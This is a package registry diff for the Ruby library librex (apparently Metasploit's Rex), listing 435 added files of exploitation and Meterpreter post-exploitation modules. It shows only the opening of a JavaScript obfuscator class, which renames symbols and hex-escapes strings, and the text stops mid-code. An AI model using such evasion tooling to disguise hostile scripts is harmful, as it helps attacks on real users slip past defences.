librex 0.0.20 → 0.0.21

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (435) hide show
  1. data/Rakefile +1 -0
  2. data/lib/rex/LICENSE +29 -0
  3. data/lib/rex/arch.rb +103 -0
  4. data/lib/rex/arch/sparc.rb +75 -0
  5. data/lib/rex/arch/sparc.rb.ut.rb +18 -0
  6. data/lib/rex/arch/x86.rb +513 -0
  7. data/lib/rex/arch/x86.rb.ut.rb +93 -0
  8. data/lib/rex/assembly/nasm.rb +104 -0
  9. data/lib/rex/assembly/nasm.rb.ut.rb +22 -0
  10. data/lib/rex/codepage.map +104 -0
  11. data/lib/rex/compat.rb +311 -0
  12. data/lib/rex/constants.rb +113 -0
  13. data/lib/rex/elfparsey.rb +11 -0
  14. data/lib/rex/elfparsey/elf.rb +123 -0
  15. data/lib/rex/elfparsey/elfbase.rb +258 -0
  16. data/lib/rex/elfparsey/exceptions.rb +27 -0
  17. data/lib/rex/elfscan.rb +12 -0
  18. data/lib/rex/elfscan/scanner.rb +207 -0
  19. data/lib/rex/elfscan/search.rb +46 -0
  20. data/lib/rex/encoder/alpha2.rb +31 -0
  21. data/lib/rex/encoder/alpha2/alpha_mixed.rb +68 -0
  22. data/lib/rex/encoder/alpha2/alpha_upper.rb +79 -0
  23. data/lib/rex/encoder/alpha2/generic.rb +114 -0
  24. data/lib/rex/encoder/alpha2/unicode_mixed.rb +117 -0
  25. data/lib/rex/encoder/alpha2/unicode_upper.rb +129 -0
  26. data/lib/rex/encoder/ndr.rb +89 -0
  27. data/lib/rex/encoder/ndr.rb.ut.rb +44 -0
  28. data/lib/rex/encoder/nonalpha.rb +61 -0
  29. data/lib/rex/encoder/nonupper.rb +64 -0
  30. data/lib/rex/encoder/xdr.rb +106 -0
  31. data/lib/rex/encoder/xdr.rb.ut.rb +29 -0
  32. data/lib/rex/encoder/xor.rb +69 -0
  33. data/lib/rex/encoder/xor/dword.rb +13 -0
  34. data/lib/rex/encoder/xor/dword_additive.rb +13 -0
  35. data/lib/rex/encoders/xor_dword.rb +35 -0
  36. data/lib/rex/encoders/xor_dword_additive.rb +53 -0
  37. data/lib/rex/encoders/xor_dword_additive.rb.ut.rb +12 -0
  38. data/lib/rex/encoding/xor.rb +20 -0
  39. data/lib/rex/encoding/xor.rb.ts.rb +14 -0
  40. data/lib/rex/encoding/xor/byte.rb +15 -0
  41. data/lib/rex/encoding/xor/byte.rb.ut.rb +21 -0
  42. data/lib/rex/encoding/xor/dword.rb +21 -0
  43. data/lib/rex/encoding/xor/dword.rb.ut.rb +15 -0
  44. data/lib/rex/encoding/xor/dword_additive.rb +92 -0
  45. data/lib/rex/encoding/xor/dword_additive.rb.ut.rb +15 -0
  46. data/lib/rex/encoding/xor/exceptions.rb +17 -0
  47. data/lib/rex/encoding/xor/generic.rb +146 -0
  48. data/lib/rex/encoding/xor/generic.rb.ut.rb +120 -0
  49. data/lib/rex/encoding/xor/qword.rb +15 -0
  50. data/lib/rex/encoding/xor/word.rb +21 -0
  51. data/lib/rex/encoding/xor/word.rb.ut.rb +13 -0
  52. data/lib/rex/exceptions.rb +275 -0
  53. data/lib/rex/exceptions.rb.ut.rb +44 -0
  54. data/lib/rex/exploitation/cmdstager.rb +9 -0
  55. data/lib/rex/exploitation/cmdstager/base.rb +175 -0
  56. data/lib/rex/exploitation/cmdstager/debug_asm.rb +142 -0
  57. data/lib/rex/exploitation/cmdstager/debug_write.rb +136 -0
  58. data/lib/rex/exploitation/cmdstager/tftp.rb +63 -0
  59. data/lib/rex/exploitation/cmdstager/vbs.rb +128 -0
  60. data/lib/rex/exploitation/egghunter.rb +277 -0
  61. data/lib/rex/exploitation/egghunter.rb.ut.rb +25 -0
  62. data/lib/rex/exploitation/encryptjs.rb +77 -0
  63. data/lib/rex/exploitation/heaplib.js.b64 +331 -0
  64. data/lib/rex/exploitation/heaplib.rb +94 -0
  65. data/lib/rex/exploitation/javascriptosdetect.rb +897 -0
  66. data/lib/rex/exploitation/obfuscatejs.rb +335 -0
  67. data/lib/rex/exploitation/omelet.rb +320 -0
  68. data/lib/rex/exploitation/omelet.rb.ut.rb +13 -0
  69. data/lib/rex/exploitation/opcodedb.rb +818 -0
  70. data/lib/rex/exploitation/opcodedb.rb.ut.rb +279 -0
  71. data/lib/rex/exploitation/seh.rb +92 -0
  72. data/lib/rex/exploitation/seh.rb.ut.rb +19 -0
  73. data/lib/rex/file.rb +112 -0
  74. data/lib/rex/file.rb.ut.rb +16 -0
  75. data/lib/rex/image_source.rb +12 -0
  76. data/lib/rex/image_source/disk.rb +60 -0
  77. data/lib/rex/image_source/image_source.rb +46 -0
  78. data/lib/rex/image_source/memory.rb +37 -0
  79. data/lib/rex/io/bidirectional_pipe.rb +157 -0
  80. data/lib/rex/io/datagram_abstraction.rb +35 -0
  81. data/lib/rex/io/ring_buffer.rb +364 -0
  82. data/lib/rex/io/stream.rb +319 -0
  83. data/lib/rex/io/stream_abstraction.rb +197 -0
  84. data/lib/rex/io/stream_server.rb +211 -0
  85. data/lib/rex/job_container.rb +187 -0
  86. data/lib/rex/logging.rb +4 -0
  87. data/lib/rex/logging/log_dispatcher.rb +179 -0
  88. data/lib/rex/logging/log_sink.rb +42 -0
  89. data/lib/rex/logging/sinks/flatfile.rb +55 -0
  90. data/lib/rex/logging/sinks/stderr.rb +43 -0
  91. data/lib/rex/machparsey.rb +9 -0
  92. data/lib/rex/machparsey/exceptions.rb +34 -0
  93. data/lib/rex/machparsey/mach.rb +209 -0
  94. data/lib/rex/machparsey/machbase.rb +408 -0
  95. data/lib/rex/machscan.rb +9 -0
  96. data/lib/rex/machscan/scanner.rb +217 -0
  97. data/lib/rex/mime.rb +9 -0
  98. data/lib/rex/mime/header.rb +77 -0
  99. data/lib/rex/mime/message.rb +144 -0
  100. data/lib/rex/mime/part.rb +20 -0
  101. data/lib/rex/nop/opty2.rb +108 -0
  102. data/lib/rex/nop/opty2.rb.ut.rb +23 -0
  103. data/lib/rex/nop/opty2_tables.rb +300 -0
  104. data/lib/rex/ole.rb +205 -0
  105. data/lib/rex/ole/clsid.rb +47 -0
  106. data/lib/rex/ole/difat.rb +141 -0
  107. data/lib/rex/ole/directory.rb +231 -0
  108. data/lib/rex/ole/direntry.rb +240 -0
  109. data/lib/rex/ole/docs/dependencies.txt +8 -0
  110. data/lib/rex/ole/docs/references.txt +1 -0
  111. data/lib/rex/ole/fat.rb +99 -0
  112. data/lib/rex/ole/header.rb +204 -0
  113. data/lib/rex/ole/minifat.rb +77 -0
  114. data/lib/rex/ole/propset.rb +144 -0
  115. data/lib/rex/ole/samples/create_ole.rb +27 -0
  116. data/lib/rex/ole/samples/dir.rb +35 -0
  117. data/lib/rex/ole/samples/dump_stream.rb +34 -0
  118. data/lib/rex/ole/samples/ole_info.rb +23 -0
  119. data/lib/rex/ole/storage.rb +395 -0
  120. data/lib/rex/ole/stream.rb +53 -0
  121. data/lib/rex/ole/substorage.rb +49 -0
  122. data/lib/rex/ole/util.rb +157 -0
  123. data/lib/rex/parser/arguments.rb +97 -0
  124. data/lib/rex/parser/arguments.rb.ut.rb +67 -0
  125. data/lib/rex/parser/ini.rb +185 -0
  126. data/lib/rex/parser/ini.rb.ut.rb +29 -0
  127. data/lib/rex/parser/ip360_aspl_xml.rb +102 -0
  128. data/lib/rex/parser/ip360_xml.rb +97 -0
  129. data/lib/rex/parser/nessus_xml.rb +118 -0
  130. data/lib/rex/parser/netsparker_xml.rb +94 -0
  131. data/lib/rex/parser/nexpose_xml.rb +136 -0
  132. data/lib/rex/parser/nmap_xml.rb +137 -0
  133. data/lib/rex/parser/retina_xml.rb +109 -0
  134. data/lib/rex/payloads.rb +1 -0
  135. data/lib/rex/payloads/win32.rb +2 -0
  136. data/lib/rex/payloads/win32/common.rb +26 -0
  137. data/lib/rex/payloads/win32/kernel.rb +53 -0
  138. data/lib/rex/payloads/win32/kernel/common.rb +54 -0
  139. data/lib/rex/payloads/win32/kernel/migration.rb +12 -0
  140. data/lib/rex/payloads/win32/kernel/recovery.rb +50 -0
  141. data/lib/rex/payloads/win32/kernel/stager.rb +194 -0
  142. data/lib/rex/peparsey.rb +12 -0
  143. data/lib/rex/peparsey/exceptions.rb +32 -0
  144. data/lib/rex/peparsey/pe.rb +212 -0
  145. data/lib/rex/peparsey/pe_memdump.rb +63 -0
  146. data/lib/rex/peparsey/pebase.rb +1680 -0
  147. data/lib/rex/peparsey/section.rb +136 -0
  148. data/lib/rex/pescan.rb +13 -0
  149. data/lib/rex/pescan/analyze.rb +309 -0
  150. data/lib/rex/pescan/scanner.rb +206 -0
  151. data/lib/rex/pescan/search.rb +56 -0
  152. data/lib/rex/platforms.rb +1 -0
  153. data/lib/rex/platforms/windows.rb +51 -0
  154. data/lib/rex/poly.rb +132 -0
  155. data/lib/rex/poly/block.rb +477 -0
  156. data/lib/rex/poly/register.rb +100 -0
  157. data/lib/rex/poly/register/x86.rb +40 -0
  158. data/lib/rex/post.rb +8 -0
  159. data/lib/rex/post/dir.rb +51 -0
  160. data/lib/rex/post/file.rb +172 -0
  161. data/lib/rex/post/file_stat.rb +220 -0
  162. data/lib/rex/post/gen.pl +13 -0
  163. data/lib/rex/post/io.rb +182 -0
  164. data/lib/rex/post/meterpreter.rb +4 -0
  165. data/lib/rex/post/meterpreter/channel.rb +445 -0
  166. data/lib/rex/post/meterpreter/channel_container.rb +54 -0
  167. data/lib/rex/post/meterpreter/channels/pool.rb +160 -0
  168. data/lib/rex/post/meterpreter/channels/pools/file.rb +62 -0
  169. data/lib/rex/post/meterpreter/channels/pools/stream_pool.rb +103 -0
  170. data/lib/rex/post/meterpreter/channels/stream.rb +87 -0
  171. data/lib/rex/post/meterpreter/client.rb +364 -0
  172. data/lib/rex/post/meterpreter/client_core.rb +274 -0
  173. data/lib/rex/post/meterpreter/dependencies.rb +3 -0
  174. data/lib/rex/post/meterpreter/extension.rb +32 -0
  175. data/lib/rex/post/meterpreter/extensions/espia/espia.rb +58 -0
  176. data/lib/rex/post/meterpreter/extensions/espia/tlv.rb +16 -0
  177. data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb +94 -0
  178. data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb +21 -0
  179. data/lib/rex/post/meterpreter/extensions/networkpug/networkpug.rb +57 -0
  180. data/lib/rex/post/meterpreter/extensions/networkpug/tlv.rb +15 -0
  181. data/lib/rex/post/meterpreter/extensions/priv/fs.rb +118 -0
  182. data/lib/rex/post/meterpreter/extensions/priv/passwd.rb +61 -0
  183. data/lib/rex/post/meterpreter/extensions/priv/priv.rb +111 -0
  184. data/lib/rex/post/meterpreter/extensions/priv/tlv.rb +28 -0
  185. data/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb +101 -0
  186. data/lib/rex/post/meterpreter/extensions/sniffer/tlv.rb +26 -0
  187. data/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +333 -0
  188. data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +282 -0
  189. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +266 -0
  190. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb +103 -0
  191. data/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb +48 -0
  192. data/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +144 -0
  193. data/lib/rex/post/meterpreter/extensions/stdapi/net/interface.rb +73 -0
  194. data/lib/rex/post/meterpreter/extensions/stdapi/net/route.rb +56 -0
  195. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +137 -0
  196. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +180 -0
  197. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +167 -0
  198. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +208 -0
  199. data/lib/rex/post/meterpreter/extensions/stdapi/railgun.rb.ts.rb +6 -0
  200. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb +38106 -0
  201. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb.ut.rb +31 -0
  202. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb +47 -0
  203. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb.ut.rb +36 -0
  204. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_advapi32.rb +1818 -0
  205. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_iphlpapi.rb +96 -0
  206. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3848 -0
  207. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb +26 -0
  208. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ntdll.rb +153 -0
  209. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_shell32.rb +21 -0
  210. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_user32.rb +3169 -0
  211. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ws2_32.rb +599 -0
  212. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +318 -0
  213. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb +100 -0
  214. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb.ut.rb +42 -0
  215. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb +148 -0
  216. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb.ut.rb +127 -0
  217. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +309 -0
  218. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +204 -0
  219. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb +51 -0
  220. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb +630 -0
  221. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb +75 -0
  222. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb.ut.rb +103 -0
  223. data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +149 -0
  224. data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +97 -0
  225. data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +192 -0
  226. data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log_subsystem/event_record.rb +41 -0
  227. data/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb +61 -0
  228. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +370 -0
  229. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/image.rb +129 -0
  230. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/io.rb +55 -0
  231. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +336 -0
  232. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/thread.rb +141 -0
  233. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +279 -0
  234. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +193 -0
  235. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_value.rb +102 -0
  236. data/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +180 -0
  237. data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +211 -0
  238. data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +227 -0
  239. data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +63 -0
  240. data/lib/rex/post/meterpreter/inbound_packet_handler.rb +30 -0
  241. data/lib/rex/post/meterpreter/object_aliases.rb +83 -0
  242. data/lib/rex/post/meterpreter/packet.rb +688 -0
  243. data/lib/rex/post/meterpreter/packet_dispatcher.rb +431 -0
  244. data/lib/rex/post/meterpreter/packet_parser.rb +94 -0
  245. data/lib/rex/post/meterpreter/packet_response_waiter.rb +83 -0
  246. data/lib/rex/post/meterpreter/ui/console.rb +137 -0
  247. data/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +62 -0
  248. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +730 -0
  249. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb +108 -0
  250. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +241 -0
  251. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/networkpug.rb +231 -0
  252. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb +61 -0
  253. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +98 -0
  254. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb +51 -0
  255. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +132 -0
  256. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb +187 -0
  257. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb +65 -0
  258. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +442 -0
  259. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +298 -0
  260. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +486 -0
  261. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +315 -0
  262. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +157 -0
  263. data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +95 -0
  264. data/lib/rex/post/permission.rb +26 -0
  265. data/lib/rex/post/process.rb +57 -0
  266. data/lib/rex/post/thread.rb +57 -0
  267. data/lib/rex/post/ui.rb +52 -0
  268. data/lib/rex/proto.rb +13 -0
  269. data/lib/rex/proto.rb.ts.rb +8 -0
  270. data/lib/rex/proto/dcerpc.rb +6 -0
  271. data/lib/rex/proto/dcerpc.rb.ts.rb +9 -0
  272. data/lib/rex/proto/dcerpc/client.rb +361 -0
  273. data/lib/rex/proto/dcerpc/client.rb.ut.rb +491 -0
  274. data/lib/rex/proto/dcerpc/exceptions.rb +150 -0
  275. data/lib/rex/proto/dcerpc/handle.rb +47 -0
  276. data/lib/rex/proto/dcerpc/handle.rb.ut.rb +85 -0
  277. data/lib/rex/proto/dcerpc/ndr.rb +72 -0
  278. data/lib/rex/proto/dcerpc/ndr.rb.ut.rb +41 -0
  279. data/lib/rex/proto/dcerpc/packet.rb +253 -0
  280. data/lib/rex/proto/dcerpc/packet.rb.ut.rb +56 -0
  281. data/lib/rex/proto/dcerpc/response.rb +187 -0
  282. data/lib/rex/proto/dcerpc/response.rb.ut.rb +15 -0
  283. data/lib/rex/proto/dcerpc/uuid.rb +84 -0
  284. data/lib/rex/proto/dcerpc/uuid.rb.ut.rb +46 -0
  285. data/lib/rex/proto/dhcp.rb +7 -0
  286. data/lib/rex/proto/dhcp/constants.rb +33 -0
  287. data/lib/rex/proto/dhcp/server.rb +292 -0
  288. data/lib/rex/proto/drda.rb +5 -0
  289. data/lib/rex/proto/drda.rb.ts.rb +17 -0
  290. data/lib/rex/proto/drda/constants.rb +49 -0
  291. data/lib/rex/proto/drda/constants.rb.ut.rb +23 -0
  292. data/lib/rex/proto/drda/packet.rb +252 -0
  293. data/lib/rex/proto/drda/packet.rb.ut.rb +109 -0
  294. data/lib/rex/proto/drda/utils.rb +123 -0
  295. data/lib/rex/proto/drda/utils.rb.ut.rb +84 -0
  296. data/lib/rex/proto/http.rb +5 -0
  297. data/lib/rex/proto/http.rb.ts.rb +12 -0
  298. data/lib/rex/proto/http/client.rb +821 -0
  299. data/lib/rex/proto/http/client.rb.ut.rb +95 -0
  300. data/lib/rex/proto/http/handler.rb +46 -0
  301. data/lib/rex/proto/http/handler/erb.rb +128 -0
  302. data/lib/rex/proto/http/handler/erb.rb.ut.rb +21 -0
  303. data/lib/rex/proto/http/handler/erb.rb.ut.rb.rhtml +1 -0
  304. data/lib/rex/proto/http/handler/proc.rb +60 -0
  305. data/lib/rex/proto/http/handler/proc.rb.ut.rb +24 -0
  306. data/lib/rex/proto/http/header.rb +161 -0
  307. data/lib/rex/proto/http/header.rb.ut.rb +46 -0
  308. data/lib/rex/proto/http/packet.rb +407 -0
  309. data/lib/rex/proto/http/packet.rb.ut.rb +165 -0
  310. data/lib/rex/proto/http/request.rb +356 -0
  311. data/lib/rex/proto/http/request.rb.ut.rb +214 -0
  312. data/lib/rex/proto/http/response.rb +90 -0
  313. data/lib/rex/proto/http/response.rb.ut.rb +149 -0
  314. data/lib/rex/proto/http/server.rb +369 -0
  315. data/lib/rex/proto/http/server.rb.ut.rb +79 -0
  316. data/lib/rex/proto/ntlm.rb +7 -0
  317. data/lib/rex/proto/ntlm.rb.ut.rb +177 -0
  318. data/lib/rex/proto/ntlm/base.rb +326 -0
  319. data/lib/rex/proto/ntlm/constants.rb +74 -0
  320. data/lib/rex/proto/ntlm/crypt.rb +415 -0
  321. data/lib/rex/proto/ntlm/exceptions.rb +16 -0
  322. data/lib/rex/proto/ntlm/message.rb +536 -0
  323. data/lib/rex/proto/ntlm/utils.rb +764 -0
  324. data/lib/rex/proto/proxy/socks4a.rb +440 -0
  325. data/lib/rex/proto/rfb.rb +19 -0
  326. data/lib/rex/proto/rfb.rb.ut.rb +37 -0
  327. data/lib/rex/proto/rfb/cipher.rb +84 -0
  328. data/lib/rex/proto/rfb/client.rb +207 -0
  329. data/lib/rex/proto/rfb/constants.rb +52 -0
  330. data/lib/rex/proto/smb.rb +7 -0
  331. data/lib/rex/proto/smb.rb.ts.rb +8 -0
  332. data/lib/rex/proto/smb/client.rb +1952 -0
  333. data/lib/rex/proto/smb/client.rb.ut.rb +223 -0
  334. data/lib/rex/proto/smb/constants.rb +1047 -0
  335. data/lib/rex/proto/smb/constants.rb.ut.rb +18 -0
  336. data/lib/rex/proto/smb/crypt.rb +36 -0
  337. data/lib/rex/proto/smb/evasions.rb +66 -0
  338. data/lib/rex/proto/smb/exceptions.rb +858 -0
  339. data/lib/rex/proto/smb/simpleclient.rb +306 -0
  340. data/lib/rex/proto/smb/simpleclient.rb.ut.rb +128 -0
  341. data/lib/rex/proto/smb/utils.rb +103 -0
  342. data/lib/rex/proto/smb/utils.rb.ut.rb +20 -0
  343. data/lib/rex/proto/sunrpc.rb +1 -0
  344. data/lib/rex/proto/sunrpc/client.rb +195 -0
  345. data/lib/rex/proto/tftp.rb +12 -0
  346. data/lib/rex/proto/tftp/constants.rb +39 -0
  347. data/lib/rex/proto/tftp/server.rb +497 -0
  348. data/lib/rex/proto/tftp/server.rb.ut.rb +28 -0
  349. data/lib/rex/script.rb +42 -0
  350. data/lib/rex/script/base.rb +59 -0
  351. data/lib/rex/script/meterpreter.rb +15 -0
  352. data/lib/rex/script/shell.rb +9 -0
  353. data/lib/rex/service.rb +48 -0
  354. data/lib/rex/service_manager.rb +141 -0
  355. data/lib/rex/service_manager.rb.ut.rb +32 -0
  356. data/lib/rex/services/local_relay.rb +423 -0
  357. data/lib/rex/socket.rb +684 -0
  358. data/lib/rex/socket.rb.ut.rb +107 -0
  359. data/lib/rex/socket/comm.rb +119 -0
  360. data/lib/rex/socket/comm/local.rb +412 -0
  361. data/lib/rex/socket/comm/local.rb.ut.rb +75 -0
  362. data/lib/rex/socket/ip.rb +130 -0
  363. data/lib/rex/socket/parameters.rb +345 -0
  364. data/lib/rex/socket/parameters.rb.ut.rb +51 -0
  365. data/lib/rex/socket/range_walker.rb +346 -0
  366. data/lib/rex/socket/range_walker.rb.ut.rb +55 -0
  367. data/lib/rex/socket/ssl_tcp.rb +184 -0
  368. data/lib/rex/socket/ssl_tcp.rb.ut.rb +39 -0
  369. data/lib/rex/socket/ssl_tcp_server.rb +122 -0
  370. data/lib/rex/socket/ssl_tcp_server.rb.ut.rb +61 -0
  371. data/lib/rex/socket/subnet_walker.rb +75 -0
  372. data/lib/rex/socket/subnet_walker.rb.ut.rb +28 -0
  373. data/lib/rex/socket/switch_board.rb +278 -0
  374. data/lib/rex/socket/switch_board.rb.ut.rb +52 -0
  375. data/lib/rex/socket/tcp.rb +76 -0
  376. data/lib/rex/socket/tcp.rb.ut.rb +64 -0
  377. data/lib/rex/socket/tcp_server.rb +66 -0
  378. data/lib/rex/socket/tcp_server.rb.ut.rb +44 -0
  379. data/lib/rex/socket/udp.rb +164 -0
  380. data/lib/rex/socket/udp.rb.ut.rb +44 -0
  381. data/lib/rex/struct2.rb +5 -0
  382. data/lib/rex/struct2/c_struct.rb +181 -0
  383. data/lib/rex/struct2/c_struct_template.rb +39 -0
  384. data/lib/rex/struct2/constant.rb +26 -0
  385. data/lib/rex/struct2/element.rb +44 -0
  386. data/lib/rex/struct2/generic.rb +73 -0
  387. data/lib/rex/struct2/restraint.rb +54 -0
  388. data/lib/rex/struct2/s_string.rb +72 -0
  389. data/lib/rex/struct2/s_struct.rb +111 -0
  390. data/lib/rex/sync.rb +6 -0
  391. data/lib/rex/sync/event.rb +94 -0
  392. data/lib/rex/sync/read_write_lock.rb +176 -0
  393. data/lib/rex/sync/ref.rb +57 -0
  394. data/lib/rex/sync/thread_safe.rb +82 -0
  395. data/lib/rex/test.rb +35 -0
  396. data/lib/rex/text.rb +1163 -0
  397. data/lib/rex/text.rb.ut.rb +190 -0
  398. data/lib/rex/thread_factory.rb +42 -0
  399. data/lib/rex/time.rb +65 -0
  400. data/lib/rex/transformer.rb +115 -0
  401. data/lib/rex/transformer.rb.ut.rb +38 -0
  402. data/lib/rex/ui.rb +21 -0
  403. data/lib/rex/ui/interactive.rb +298 -0
  404. data/lib/rex/ui/output.rb +78 -0
  405. data/lib/rex/ui/output/none.rb +18 -0
  406. data/lib/rex/ui/progress_tracker.rb +96 -0
  407. data/lib/rex/ui/subscriber.rb +149 -0
  408. data/lib/rex/ui/text/color.rb +97 -0
  409. data/lib/rex/ui/text/color.rb.ut.rb +18 -0
  410. data/lib/rex/ui/text/dispatcher_shell.rb +467 -0
  411. data/lib/rex/ui/text/input.rb +117 -0
  412. data/lib/rex/ui/text/input/buffer.rb +75 -0
  413. data/lib/rex/ui/text/input/readline.rb +129 -0
  414. data/lib/rex/ui/text/input/socket.rb +95 -0
  415. data/lib/rex/ui/text/input/stdio.rb +45 -0
  416. data/lib/rex/ui/text/irb_shell.rb +57 -0
  417. data/lib/rex/ui/text/output.rb +80 -0
  418. data/lib/rex/ui/text/output/buffer.rb +61 -0
  419. data/lib/rex/ui/text/output/file.rb +43 -0
  420. data/lib/rex/ui/text/output/socket.rb +43 -0
  421. data/lib/rex/ui/text/output/stdio.rb +40 -0
  422. data/lib/rex/ui/text/progress_tracker.rb +56 -0
  423. data/lib/rex/ui/text/progress_tracker.rb.ut.rb +34 -0
  424. data/lib/rex/ui/text/shell.rb +328 -0
  425. data/lib/rex/ui/text/table.rb +279 -0
  426. data/lib/rex/ui/text/table.rb.ut.rb +55 -0
  427. data/lib/rex/zip.rb +93 -0
  428. data/lib/rex/zip/archive.rb +184 -0
  429. data/lib/rex/zip/blocks.rb +182 -0
  430. data/lib/rex/zip/entry.rb +104 -0
  431. data/lib/rex/zip/samples/comment.rb +32 -0
  432. data/lib/rex/zip/samples/mkwar.rb +138 -0
  433. data/lib/rex/zip/samples/mkzip.rb +19 -0
  434. data/lib/rex/zip/samples/recursive.rb +58 -0
  435. metadata +434 -1
@@ -0,0 +1,335 @@
1
+ require 'rex/text'
2
+ module Rex
3
+ module Exploitation
4
+
5
+ #
6
+ # Obfuscates javascript in various ways
7
+ #
8
+ class ObfuscateJS
9
+ attr_reader :opts
10
+
11
+ #
12
+ # Obfuscates a javascript string.
13
+ #
14
+ # Options are 'Symbols', described below, and 'Strings', a boolean
15
+ # which specifies whether strings within the javascript should be
16
+ # mucked with (defaults to false).
17
+ #
18
+ # The 'Symbols' argument should have the following format:
19
+ #
20
+ # {
21
+ # 'Variables' => [ 'var1', ... ],
22
+ # 'Methods' => [ 'method1', ... ],
23
+ # 'Namespaces' => [ 'n', ... ],
24
+ # 'Classes' => [ { 'Namespace' => 'n', 'Class' => 'y'}, ... ]
25
+ # }
26
+ #
27
+ # Make sure you order your methods, classes, and namespaces by most
28
+ # specific to least specific to prevent partial substitution. For
29
+ # instance, if you have two methods (joe and joeBob), you should place
30
+ # joeBob before joe because it is more specific and will be globally
31
+ # replaced before joe is replaced.
32
+ #
33
+ # A simple example follows:
34
+ #
35
+ # <code>
36
+ # js = ObfuscateJS.new <<ENDJS
37
+ # function say_hi() {
38
+ # var foo = "Hello, world";
39
+ # document.writeln(foo);
40
+ # }
41
+ # ENDJS
42
+ # js.obfuscate(
43
+ # 'Symbols' => {
44
+ # 'Variables' => [ 'foo' ],
45
+ # 'Methods' => [ 'say_hi' ]
46
+ # }
47
+ # 'Strings' => true
48
+ # )
49
+ # </code>
50
+ #
51
+ # which should generate something like the following:
52
+ #
53
+ # <code>
54
+ # function oJaDYRzFOyJVQCOHk() { var cLprVG = "\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64"; document.writeln(cLprVG); }
55
+ # </code>
56
+ #
57
+ # String obfuscation tries to deal with escaped quotes within strings but
58
+ # won't catch things like
59
+ # "\\"
60
+ # so be careful.
61
+ #
62
+ def self.obfuscate(js, opts = {})
63
+ ObfuscateJS.new(js).obfuscate(opts)
64
+ end
65
+
66
+ #
67
+ # Initialize an instance of the obfuscator
68
+ #
69
+ def initialize(js = "", opts = {})
70
+ @js = js
71
+ @dynsym = {}
72
+ @opts = {
